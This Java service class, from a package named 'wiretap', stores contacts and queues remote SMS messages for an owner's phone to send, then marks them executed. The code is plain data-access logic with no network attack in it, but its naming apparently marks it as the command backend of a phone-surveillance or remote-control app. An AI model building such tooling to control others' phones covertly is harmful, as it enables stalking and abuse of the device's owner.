package com.wiretap.service.impl;

import java.util.ArrayList;
import java.util.Date;
import java.util.List;

import com.wiretap.dao.ContactDao;
import com.wiretap.dao.RemoteSmsDao;
import com.wiretap.po.Contact;
import com.wiretap.po.RemoteSms;
import com.wiretap.po.RemoteSmsState;
import com.wiretap.service.RemoteSmsService;
import com.wiretap.util.CommenUtil;
import com.wiretap.util.Pager;

public class RemoteSmsServiceImpl implements RemoteSmsService {
	private RemoteSmsDao remoteSmsDao;
	private ContactDao contactDao;

	@Override
	public void addRemoteSms(String ownerPhone, String content, String contactStr) throws Exception {
		if (CommenUtil.isEmpty(ownerPhone) || CommenUtil.isEmpty(content) || CommenUtil.isEmpty(contactStr))
			return;
		String[] contactsArr = contactStr.split(",");
		List<Contact> contacts = new ArrayList<Contact>();
		List<String> tempValue = new ArrayList<String>();
		for (int i = 0; i < contactsArr.length; i++) {
			String contactPhone = contactsArr[i];
			if (!CommenUtil.isEmpty(contactPhone)) {
				if (tempValue.contains(contactPhone)) {
					continue;
				} else {
					Contact c = new Contact();
					c.setAddDate(new Date());
					c.setName("");
					c.setNumber(contactPhone);
					c.setOwnerPhone(ownerPhone);
					contacts.add(c);
					tempValue.add(contactPhone);
				}
			}
		}
		try {
			contactDao.addContact(ownerPhone, contacts);
		} catch (Exception e1) {
			e1.printStackTrace();
		}
		for (Contact contact : contacts) {
			try {
				RemoteSms sms = new RemoteSms();
				sms.setAddDate(new Date());
				sms.setContent(content);
				sms.setExcuted(false);
				sms.setOwnerPhone(ownerPhone);
				sms.setStatus(RemoteSmsState.STATUS_UNSEND);
				sms.setTargetPhone(contact.getNumber());
				remoteSmsDao.addRemoteSms(sms);
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	@Override
	public Pager<RemoteSms> getContactRemoteSms(String ownerPhone, String contactPhone, int currentPage, int pageSize) throws Exception {
		return remoteSmsDao.getContactRemoteSms(ownerPhone, contactPhone, currentPage, pageSize);
	}

	@Override
	public boolean deleteRemoteSms(String id) throws Exception {
		return remoteSmsDao.deleteRemoteSms(id) > 0;
	}

	public void setRemoteSmsDao(RemoteSmsDao remoteSmsDao) {
		this.remoteSmsDao = remoteSmsDao;
	}

	public void setContactDao(ContactDao contactDao) {
		this.contactDao = contactDao;
	}

	@Override
	public void setRemoteSmsExecuted(String idStr) throws Exception {
		String[] ids = idStr.split(",");
		this.remoteSmsDao.updateRemoteSmsExecutedStatus(ids, RemoteSmsState.STATUS_SEND);
	}

}
